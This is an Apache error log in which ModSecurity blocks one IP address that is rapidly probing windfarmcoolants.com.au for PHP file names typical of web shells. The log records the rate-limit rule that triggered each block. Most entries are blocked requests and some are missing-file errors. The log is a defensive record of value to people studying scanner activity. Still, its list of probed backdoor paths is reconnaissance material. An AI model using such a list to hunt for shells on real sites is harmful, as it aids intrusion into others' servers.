[Thu May 14 04:51:28.694004 2026] [:error] [pid 11690:tid 11708] [client 52.139.38.158:47804] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/options.php"] [unique_id "agTkUCnxWuLN8Hptw8lfXwAAAMk"]
[Thu May 14 04:51:29.846041 2026] [:error] [pid 11690:tid 11714] [client 52.139.38.158:41553] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admlo.php"] [unique_id "agTkUSnxWuLN8Hptw8lfYQAAAM8"]
[Thu May 14 04:51:30.982756 2026] [:error] [pid 63033:tid 63046] [client 52.139.38.158:37569] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admlo.php"] [unique_id "agTkUlMY49UWn5BpqVY1OAAAAQs"]
[Thu May 14 04:51:32.155408 2026] [:error] [pid 63033:tid 63056] [client 52.139.38.158:59779] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admlo.php"] [unique_id "agTkVFMY49UWn5BpqVY1PAAAARU"]
[Thu May 14 04:51:33.122705 2026] [:error] [pid 63033:tid 63054] [client 52.139.38.158:37566] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admlo.php"] [unique_id "agTkVVMY49UWn5BpqVY1PgAAARM"]
[Thu May 14 04:51:33.910292 2026] [:error] [pid 11690:tid 11721] [client 52.139.38.158:59718] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/x=34.php"] [unique_id "agTkVSnxWuLN8Hptw8lfawAAANY"]
[Thu May 14 04:51:34.337331 2026] [:error] [pid 11581:tid 11619] [client 52.139.38.158:59422] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/x=34.php"] [unique_id "agTkVv0vF48FbzpvQMV_mwAAABY"]
[Thu May 14 04:51:34.918848 2026] [:error] [pid 11581:tid 11604] [client 52.139.38.158:59425] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/x=34.php"] [unique_id "agTkVv0vF48FbzpvQMV_nAAAAAc"]
[Thu May 14 04:51:36.114454 2026] [:error] [pid 11690:tid 11699] [client 52.139.38.158:59717] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/x=34.php"] [unique_id "agTkWCnxWuLN8Hptw8lfcgAAAMA"]
[Thu May 14 04:51:36.738266 2026] [:error] [pid 63033:tid 63046] [client 52.139.38.158:41578] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tramuibs.php"] [unique_id "agTkWFMY49UWn5BpqVY1QgAAAQs"]
[Thu May 14 04:51:37.408011 2026] [:error] [pid 11588:tid 11655] [client 52.139.38.158:47861] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tramuibs.php"] [unique_id "agTkWdUr21rOixkeGKb5DwAAAIM"]
[Thu May 14 04:51:38.011183 2026] [:error] [pid 11582:tid 11642] [client 52.139.38.158:59408] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tramuibs.php"] [unique_id "agTkWvuw2cmFDpGcKhDLqAAAAFE"]
[Thu May 14 04:51:39.031251 2026] [:error] [pid 11690:tid 11702] [client 52.139.38.158:59450] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tramuibs.php"] [unique_id "agTkWynxWuLN8Hptw8lfeQAAAMM"]
[Thu May 14 04:51:40.335289 2026] [:error] [pid 63033:tid 63051] [client 52.139.38.158:59754] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/view.php"] [unique_id "agTkXFMY49UWn5BpqVY1RgAAARA"]
[Thu May 14 04:51:40.989811 2026] [:error] [pid 11582:tid 11648] [client 52.139.38.158:47832] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/view.php"] [unique_id "agTkXPuw2cmFDpGcKhDLrQAAAFc"]
[Thu May 14 04:51:42.037488 2026] [:error] [pid 11581:tid 11616] [client 52.139.38.158:47825] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/view.php"] [unique_id "agTkXv0vF48FbzpvQMV_nwAAABM"]
[Thu May 14 04:51:42.845459 2026] [:error] [pid 11690:tid 11723] [client 52.139.38.158:41640] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/view.php"] [unique_id "agTkXinxWuLN8Hptw8lffgAAANg"]
[Thu May 14 04:51:43.866160 2026] [:error] [pid 63033:tid 63055] [client 52.139.38.158:59401] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aa.php"] [unique_id "agTkX1MY49UWn5BpqVY1SAAAARQ"]
[Thu May 14 04:51:44.497758 2026] [:error] [pid 63033:tid 63036] [client 52.139.38.158:37557] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aa.php"] [unique_id "agTkYFMY49UWn5BpqVY1SgAAAQE"]
[Thu May 14 04:51:45.139733 2026] [:error] [pid 11588:tid 11663] [client 52.139.38.158:59724] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aa.php"] [unique_id "agTkYdUr21rOixkeGKb5EwAAAIs"]
[Thu May 14 04:51:46.142557 2026] [:error] [pid 63033:tid 63044] [client 52.139.38.158:41545] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aa.php"] [unique_id "agTkYlMY49UWn5BpqVY1TQAAAQk"]
[Thu May 14 04:51:47.432934 2026] [:error] [pid 63033:tid 63042] [client 52.139.38.158:59749] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/x402.php"] [unique_id "agTkY1MY49UWn5BpqVY1TwAAAQc"]
[Thu May 14 04:51:48.773811 2026] [:error] [pid 11690:tid 11723] [client 52.139.38.158:59438] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/x402.php"] [unique_id "agTkZCnxWuLN8Hptw8lfjwAAANg"]
[Thu May 14 04:51:49.800792 2026] [:error] [pid 11690:tid 11699] [client 52.139.38.158:59775] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/x402.php"] [unique_id "agTkZSnxWuLN8Hptw8lfkgAAAMA"]
[Thu May 14 04:51:51.340885 2026] [:error] [pid 63033:tid 63058] [client 52.139.38.158:47863] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/x402.php"] [unique_id "agTkZ1MY49UWn5BpqVY1VQAAARc"]
[Thu May 14 04:51:52.393889 2026] [:error] [pid 63033:tid 63049] [client 52.139.38.158:36791] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lib.php"] [unique_id "agTkaFMY49UWn5BpqVY1VwAAAQ4"]
[Thu May 14 04:51:53.366804 2026] [:error] [pid 11690:tid 11717] [client 52.139.38.158:47830] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lib.php"] [unique_id "agTkaSnxWuLN8Hptw8lfmAAAANI"]
[Thu May 14 04:51:53.997116 2026] [:error] [pid 11690:tid 11701] [client 52.139.38.158:47774] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lib.php"] [unique_id "agTkaSnxWuLN8Hptw8lfnQAAAMI"]
[Thu May 14 04:51:54.679101 2026] [:error] [pid 11690:tid 11713] [client 52.139.38.158:41617] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lib.php"] [unique_id "agTkainxWuLN8Hptw8lfnwAAAM4"]
[Thu May 14 04:51:55.462572 2026] [:error] [pid 11690:tid 11700] [client 52.139.38.158:47793] File does not exist: /usr/local/apache/htdocs/suspended-page/ws78.php
[Thu May 14 04:51:55.677934 2026] [:error] [pid 11690:tid 11699] [client 52.139.38.158:47793] File does not exist: /usr/local/apache/htdocs/suspended-page/f5.php
[Thu May 14 04:51:55.894474 2026] [:error] [pid 11690:tid 11707] [client 52.139.38.158:47793] File does not exist: /usr/local/apache/htdocs/suspended-page/alpha.php
[Thu May 14 04:51:56.110392 2026] [:error] [pid 11690:tid 11709] [client 52.139.38.158:47793] File does not exist: /usr/local/apache/htdocs/suspended-page/son1.php
[Thu May 14 04:51:56.326674 2026] [:error] [pid 11690:tid 11722] [client 52.139.38.158:47793] File does not exist: /usr/local/apache/htdocs/suspended-page/ggb.php
[Thu May 14 04:51:56.593936 2026] [:error] [pid 11690:tid 11714] [client 52.139.38.158:47793] File does not exist: /usr/local/apache/htdocs/suspended-page/amxloxxr.php
[Thu May 14 04:51:56.810950 2026] [:error] [pid 11690:tid 11718] [client 52.139.38.158:47793] File does not exist: /usr/local/apache/htdocs/suspended-page/ss.php
[Thu May 14 04:51:57.040640 2026] [:error] [pid 11690:tid 11702] [client 52.139.38.158:47793] File does not exist: /usr/local/apache/htdocs/suspended-page/sadcut1.php
[Thu May 14 04:51:57.270774 2026] [:error] [pid 11690:tid 11720] [client 52.139.38.158:47793] File does not exist: /usr/local/apache/htdocs/suspended-page/rh.php
[Thu May 14 04:51:57.517610 2026] [:error] [pid 11690:tid 11711] [client 52.139.38.158:47793] File does not exist: /usr/local/apache/htdocs/suspended-page/99.php
[Thu May 14 04:51:57.734219 2026] [:error] [pid 11690:tid 11703] [client 52.139.38.158:47793] File does not exist: /usr/local/apache/htdocs/suspended-page/layout.php
[Thu May 14 04:51:57.963706 2026] [:error] [pid 11690:tid 11708] [client 52.139.38.158:47793] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/12.php"] [unique_id "agTkbSnxWuLN8Hptw8lfswAAAMk"]
[Thu May 14 04:51:58.504505 2026] [:error] [pid 63033:tid 63046] [client 52.139.38.158:59400] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/12.php"] [unique_id "agTkblMY49UWn5BpqVY1XQAAAQs"]
[Thu May 14 04:51:58.970236 2026] [:error] [pid 11588:tid 11671] [client 52.139.38.158:59410] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/12.php"] [unique_id "agTkbtUr21rOixkeGKb5FQAAAJM"]
[Thu May 14 04:51:59.447465 2026] [:error] [pid 11581:tid 11604] [client 52.139.38.158:47752] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/12.php"] [unique_id "agTkb_0vF48FbzpvQMV_qAAAAAc"]
[Thu May 14 04:52:00.174143 2026] [:error] [pid 11582:tid 11634] [client 52.139.38.158:41573] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fs.php"] [unique_id "agTkcPuw2cmFDpGcKhDLsQAAAEk"]
[Thu May 14 04:52:00.713923 2026] [:error] [pid 11588:tid 11661] [client 52.139.38.158:47772] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fs.php"] [unique_id "agTkcNUr21rOixkeGKb5FgAAAIk"]
[Thu May 14 04:52:01.663547 2026] [:error] [pid 11588:tid 11660] [client 52.139.38.158:47828] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fs.php"] [unique_id "agTkcdUr21rOixkeGKb5GQAAAIg"]
[Thu May 14 04:52:02.499066 2026] [:error] [pid 11581:tid 11599] [client 52.139.38.158:37460] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fs.php"] [unique_id "agTkcv0vF48FbzpvQMV_qwAAAAI"]
[Thu May 14 04:52:03.373519 2026] [:error] [pid 11588:tid 11673] [client 52.139.38.158:47869] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/insta.php"] [unique_id "agTkc9Ur21rOixkeGKb5HwAAAJU"]
[Thu May 14 04:52:03.967460 2026] [:error] [pid 11588:tid 11674] [client 52.139.38.158:47851] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/insta.php"] [unique_id "agTkc9Ur21rOixkeGKb5IQAAAJY"]
[Thu May 14 04:52:05.084882 2026] [:error] [pid 11588:tid 11664] [client 52.139.38.158:59444] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/insta.php"] [unique_id "agTkddUr21rOixkeGKb5JQAAAIw"]
[Thu May 14 04:52:05.976757 2026] [:error] [pid 11588:tid 11652] [client 52.139.38.158:47797] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/insta.php"] [unique_id "agTkddUr21rOixkeGKb5JgAAAIA"]
[Thu May 14 04:52:07.297351 2026] [:error] [pid 11690:tid 11706] [client 52.139.38.158:41655] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/simple.php"] [unique_id "agTkdynxWuLN8Hptw8lfwAAAAMc"]
[Thu May 14 04:52:08.643771 2026] [:error] [pid 63033:tid 63039] [client 52.139.38.158:41670] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/simple.php"] [unique_id "agTkeFMY49UWn5BpqVY1YQAAAQQ"]
[Thu May 14 04:52:10.798941 2026] [:error] [pid 11581:tid 11603] [client 52.139.38.158:47785] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/simple.php"] [unique_id "agTkev0vF48FbzpvQMV_rgAAAAY"]
[Thu May 14 04:52:13.140571 2026] [:error] [pid 11582:tid 11644] [client 52.139.38.158:59412] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/simple.php"] [unique_id "agTkffuw2cmFDpGcKhDLswAAAFM"]
[Thu May 14 04:52:17.098162 2026] [:error] [pid 63033:tid 63058] [client 52.139.38.158:47778] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws81.php"] [unique_id "agTkgVMY49UWn5BpqVY1ZwAAARc"]
[Thu May 14 04:52:20.461017 2026] [:error] [pid 11690:tid 11708] [client 52.139.38.158:49538] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws81.php"] [unique_id "agTkhCnxWuLN8Hptw8lfzgAAAMk"]
[Thu May 14 04:52:25.252877 2026] [:error] [pid 11582:tid 11639] [client 52.139.38.158:41623] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws81.php"] [unique_id "agTkifuw2cmFDpGcKhDLtwAAAE4"]
[Thu May 14 04:52:37.364300 2026] [:error] [pid 11690:tid 11723] [client 52.139.38.158:49542] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/av.php"] [unique_id "agTklSnxWuLN8Hptw8lf2gAAANg"]
[Thu May 14 04:52:42.408971 2026] [:error] [pid 63033:tid 63041] [client 52.139.38.158:36754] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/av.php"] [unique_id "agTkmlMY49UWn5BpqVY1gAAAAQY"]
[Thu May 14 04:52:48.406437 2026] [:error] [pid 11582:tid 11643] [client 52.139.38.158:59452] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xfile25.php"] [unique_id "agTkoPuw2cmFDpGcKhDLyAAAAFI"]
[Thu May 14 04:52:50.671501 2026] [:error] [pid 11588:tid 11676] [client 52.139.38.158:47844] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xfile25.php"] [unique_id "agTkotUr21rOixkeGKb5bwAAAJg"]
[Thu May 14 04:52:51.608270 2026] [:error] [pid 11690:tid 11702] [client 52.139.38.158:37462] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xfile25.php"] [unique_id "agTkoynxWuLN8Hptw8lf3QAAAMM"]
